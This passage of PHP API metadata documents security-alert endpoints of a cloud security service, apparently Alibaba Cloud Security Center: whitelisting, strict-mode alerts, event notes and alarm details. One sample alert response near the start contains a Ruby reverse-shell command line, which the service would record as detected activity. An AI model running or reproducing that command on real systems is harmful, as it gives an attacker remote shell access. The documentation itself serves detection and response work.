[\\\\n \\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n },\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"whoami\\\\\\",\\\\n \\\\\\"proc_path\\\\\\": \\\\\\"/bin/whoami\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"[3035]\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n }\\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"/bin/bash -c \'id && whoami\'\\\\\\",\\\\n \\\\\\"proc_path\\\\\\": \\\\\\"/bin/bash\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"[3022]\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n }\\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"src_ip\\\\\\": \\\\\\"0.0.0.0\\\\\\",\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"ruby -rsocket -e exit if fork;c=TCPSocket.new(\\\\\\\\\\\\\\"0.0.0.0\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"1111\\\\\\\\\\\\\\");while(cmd=c.gets);IO.popen(cmd,\\\\\\\\\\\\\\"r\\\\\\\\\\\\\\"){|io|c.print io.read}end\\\\\\",\\\\n \\\\\\"file\\\\\\": \\\\\\"ruby\\\\\\",\\\\n \\\\\\"login_port\\\\\\": \\\\\\"22\\\\\\",\\\\n \\\\\\"login_type\\\\\\": \\\\\\"password\\\\\\",\\\\n \\\\\\"proc_path\\\\\\": \\\\\\"/usr/bin/ruby\\\\\\",\\\\n \\\\\\"dst_port\\\\\\": \\\\\\"1111\\\\\\",\\\\n \\\\\\"pid\\\\\\": \\\\\\"3011\\\\\\",\\\\n \\\\\\"user\\\\\\": \\\\\\"root\\\\\\",\\\\n \\\\\\"dst_ip\\\\\\": \\\\\\"0.0.0.0\\\\\\",\\\\n \\\\\\"log_time\\\\\\": \\\\\\"2020-01-20 09:00:00\\\\\\"\\\\n },\\\\n \\\\\\"description\\\\\\": {\\\\n \\\\\\"extend\\\\\\": [\\\\n {\\\\n \\\\\\"content\\\\\\": \\\\\\"${tpl_netstat}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"text\\\\\\"\\\\n }\\\\n ],\\\\n \\\\\\"main\\\\\\": {\\\\n \\\\\\"content\\\\\\": \\\\\\"${pid} ${cmdline}\\\\\\",\\\\n \\\\\\"content_type\\\\\\": \\\\\\"markdown\\\\\\"\\\\n }\\\\n }\\\\n }\\\\n]\\",\\n \\"RequestId\\": \\"ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\"\\n}","type":"json"}]', + 'title' => '获取报警事件堆栈信息', + ], + 'HandleMaliciousFiles' => [ + 'summary' => '将无代理检测功能检测出的安全告警加入或移出白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '184806', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Operation', + 'in' => 'query', + 'schema' => [ + 'description' => '操作的类型：'."\n" + .'- addWhitelist：加白名单'."\n" + .'- offWhitelist：移除白名单', + 'type' => 'string', + 'required' => false, + 'example' => 'addWhitelist', + ], + ], + [ + 'name' => 'FileIdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '处理的文件ID列表。'."\n" + .'> 您可以调用[ListAgentlessMaliciousFiles](~~ListAgentlessMaliciousFiles~~)获取ID。'."\n" + .'> -', + 'type' => 'array', + 'items' => [ + 'description' => '对应恶意文件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '265**', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8B****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8B****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '将安全告警加入或移出白名单', + ], + 'DescribeStrictEventName' => [ + 'summary' => '查询所有支持严格模式的告警名称。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '215996', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'array', + 'items' => [ + 'description' => '对应每个严格模式告警的详细信息。', + 'type' => 'object', + 'properties' => [ + 'EventType' => [ + 'description' => '告警类型。', + 'type' => 'string', + 'example' => 'Suspicious Process', + ], + 'EventName' => [ + 'description' => '告警名称。', + 'type' => 'string', + 'example' => 'System log abnormal deletion', + ], + 'ShowEventName' => [ + 'description' => '展示的告警名称。', + 'type' => 'string', + 'example' => 'Suspicious Process', + ], + 'ShowEventType' => [ + 'description' => '展示的告警类型。', + 'type' => 'string', + 'example' => 'System log abnormal deletion', + ], + 'SwitchConfig' => [ + 'description' => '用户严格模式改告警类型是否开启。'."\n" + .'- true：开启'."\n" + .'- false：不开启', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\",\\n \\"Data\\": [\\n {\\n \\"EventType\\": \\"Suspicious Process\\",\\n \\"EventName\\": \\"System log abnormal deletion\\",\\n \\"ShowEventName\\": \\"Suspicious Process\\",\\n \\"ShowEventType\\": \\"System log abnormal deletion\\",\\n \\"SwitchConfig\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询严格模式的告警名称', + ], + 'UpdateStrictEventName' => [ + 'summary' => '用户修改严格模式配置，选择严格模式下的告警是否打开，该接口为全量接口。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '215997', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Operator', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '操作规则判定操作符：'."\n" + .'- *on*：打开告警'."\n" + .'- *off*：关闭告警', + 'type' => 'string', + 'required' => true, + 'example' => 'on', + ], + ], + [ + 'name' => 'EventNameList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要操作的严格告警列表，该列表为全量列表，列表未包含的严格告警将执行此次的相反操作。'."\n" + .'> 您可以调用[DescribeStrictEventName](~~DescribeStrictEventName~~)获取所有严格模式的告警列表。'."\n" + .'> -', + 'type' => 'array', + 'items' => [ + 'description' => '告警的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'WEBSHELL', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\"\\n}","type":"json"}]', + 'title' => '修改严格模式告警状态', + ], + 'CreateSuspEventNote' => [ + 'summary' => '创建告警事件的备注信息。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '137238', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '要添加备注的告警事件的ID。调用[DescribeSuspEvents](~~251497~~)获取告警事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '668931', + ], + ], + [ + 'name' => 'Note', + 'in' => 'query', + 'schema' => [ + 'description' => '要添加的备注信息。', + 'type' => 'string', + 'required' => true, + 'example' => 'Ignore', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => '', + 'description' => '', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '异常事件处理的结果状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'There was an error with your request.', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '创建告警事件的备注信息', + ], + 'QueryGroupedSecurityEventMarkMissList' => [ + 'summary' => '查询加白规则列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'EventName', + 'in' => 'formData', + 'schema' => [ + 'title' => '告警事件名称（子类型）', + 'description' => '告警事件名称（子类型）。', + 'type' => 'string', + 'required' => false, + 'example' => 'Login with unusual location', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'formData', + 'schema' => [ + 'title' => '资产名', + 'description' => '资产检索项。取值：'."\n" + ."\n" + .'- 资产IP'."\n" + .'- 公网IP'."\n" + .'- 内网IP'."\n" + .'- 资产名称', + 'type' => 'string', + 'required' => false, + 'example' => '222.185.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'formData', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认**zh**，取值包括：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'formData', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'formData', + 'schema' => [ + 'description' => '分页查询时，每页显示的白名单规则数量。默认值为**20**，表示每页显示20条白名单规则。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'From', + 'in' => 'formData', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '113.66.XX.XX', + ], + ], + [ + 'name' => 'DisposalWay', + 'in' => 'query', + 'schema' => [ + 'title' => '加白方式', + 'description' => '处置方式。取值：'."\n" + ."\n" + .'- **1**：自动加白'."\n" + .'- **2**：仅防御不通知', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '加白规则集合。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'AliUid' => [ + 'title' => '用户统一编号', + 'description' => '用户ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '31412647', + ], + 'EventType' => [ + 'title' => '告警事件名称（父类型）', + 'description' => '告警事件类型（子类型）。', + 'type' => 'string', + 'example' => 'Unusual Logon', + ], + 'EventTypeOriginal' => [ + 'title' => '告警事件名称（父类型）', + 'description' => '告警事件类型（父类型）。', + 'type' => 'string', + 'example' => '异常登录', + ], + 'EventName' => [ + 'title' => '告警事件名称（子类型）', + 'description' => '告警事件名称（子类型）。', + 'type' => 'string', + 'example' => 'Login with unusual location', + ], + 'EventNameOriginal' => [ + 'title' => '告警事件名称（子类型）', + 'description' => '告警事件名称（父类型）。', + 'type' => 'string', + 'example' => 'login_common_location', + ], + 'Uuids' => [ + 'title' => '资产ids，逗号分割', + 'description' => '资产ID。多个资产用半角逗号（,）隔开。', + 'type' => 'string', + 'example' => '6985b88c-eb19-4d27-98ad-e4a42312****,5721d503-9b04-4243-89ca-1fb8ca5e****,db2678c3-10e3-4a20-92f1-265f6****', + ], + 'Field' => [ + 'title' => '加白字段', + 'description' => '加白字段。', + 'type' => 'string', + 'example' => 'type', + ], + 'FiledAliasName' => [ + 'title' => '加白字段别名', + 'description' => '加白字段别名。', + 'type' => 'string', + 'example' => 'Logon Time', + ], + 'FieldValue' => [ + 'title' => '加白值', + 'description' => '加白值。', + 'type' => 'string', + 'example' => 'root', + ], + 'Operate' => [ + 'title' => '操作符', + 'description' => '操作符。取值：'."\n" + ."\n" + .'- **contains**：包含'."\n" + .'- **notContains**：不包含'."\n" + .'- **strEqual**：等于'."\n" + .'- **strNotEqual**：不等于'."\n" + .'- **regex**：正则'."\n", + 'type' => 'string', + 'example' => 'contains', + ], + 'DisposalWay' => [ + 'title' => '处置方式', + 'description' => '处置方式。取值：'."\n" + ."\n" + .'- **auto\\_add_white**：自动加白'."\n" + .'- **defense\\_not_notification**：仅防御不通知', + 'type' => 'string', + 'example' => 'auto_add_white', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的白名单规则的数量。默认值为**20**，表示每页显示20条白名单规则。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到加白规则总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '当前页加白规则条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + 'Success' => [ + 'description' => '返回的查询结果的状态。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码。**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'There was an error with your request.', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '965F9282-D403-4FA2-B1B9-10F62DC719BF', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"AliUid\\": 31412647,\\n \\"EventType\\": \\"Unusual Logon\\",\\n \\"EventTypeOriginal\\": \\"异常登录\\",\\n \\"EventName\\": \\"Login with unusual location\\",\\n \\"EventNameOriginal\\": \\"login_common_location\\",\\n \\"Uuids\\": \\"6985b88c-eb19-4d27-98ad-e4a42312****,5721d503-9b04-4243-89ca-1fb8ca5e****,db2678c3-10e3-4a20-92f1-265f6****\\",\\n \\"Field\\": \\"type\\",\\n \\"FiledAliasName\\": \\"Logon Time\\",\\n \\"FieldValue\\": \\"root\\",\\n \\"Operate\\": \\"contains\\",\\n \\"DisposalWay\\": \\"auto_add_white\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 9\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"RequestId\\": \\"965F9282-D403-4FA2-B1B9-10F62DC719BF\\"\\n}","type":"json"}]', + 'title' => '查询加白规则', + ], + 'OperationCancelIgnoreSuspEvent' => [ + 'summary' => '设置取消忽略的异常告警事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'SecurityEventIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '告警编号集合', + 'description' => '告警编号集合。', + 'type' => 'array', + 'items' => [ + 'description' => '要取消忽略的告警事件ID。'."\n" + .'> 调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '611689', + ], + 'required' => true, + 'maxItems' => 200, + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'remark text', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '告警事件处理的结果状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '执行任务花费的时间，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'OperationTaskNotExists', + 'errorMessage' => 'The specified operation task does not exist', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '取消忽略异常告警事件', + ], + 'CreateSimilarSecurityEventsQueryTask' => [ + 'summary' => '创建任务查询相同规则或告警类型触发的告警事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'SecurityEventId', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '14323', + ], + ], + [ + 'name' => 'SimilarEventScenarioCode', + 'in' => 'query', + 'schema' => [ + 'description' => '相同类型或命中规则的告警事件的code值。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5861EE3E-F0B3-48B8-A5DC-A5080BFBE052', + ], + 'CreateSimilarSecurityEventsQueryTaskResponse' => [ + 'description' => '创建查询同类告警事件任务的返回信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '任务状态。取值：'."\n" + ."\n" + .'- **New**：新增'."\n" + .'- **RetrievingData**：数据提取中'."\n" + .'- **DataRetrieved**：数据提取成功'."\n" + .'- **Processing**：任务处理中'."\n" + .'- **Success**：任务执行成功'."\n" + .'- **Failed**：任务执行失败'."\n" + .'- **PartialFailed**：任务执行部分失败', + 'type' => 'string', + 'example' => 'New', + ], + 'TaskId' => [ + 'description' => '本次任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2915', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'SecurityEventNotExists', + 'errorMessage' => 'Security event not exists.', + ], + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"5861EE3E-F0B3-48B8-A5DC-A5080BFBE052\\",\\n \\"CreateSimilarSecurityEventsQueryTaskResponse\\": {\\n \\"Status\\": \\"New\\",\\n \\"TaskId\\": 2915\\n }\\n}","errorExample":""},{"type":"xml","example":"5861EE3E-F0B3-48B8-A5DC-A5080BFBE052\\n\\n NEW\\n 2915\\n","errorExample":""}]', + 'title' => '创建任务查询相同规则或告警类型触发的告警事件', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAlarmEventDetail' => [ + 'summary' => '获取告警事件的详细信息。告警事件分为告警与异常两个维度，一个告警事件包含多个异常事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'AlarmUniqueInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的唯一标识。'."\n" + ."\n" + .'> 查询警事件的详细信息，需要提供告警事件的唯一标识信息，该标识信息可调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取。', + 'type' => 'string', + 'required' => true, + 'example' => '9f62555666f177aa84ee1eaf465a****', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => 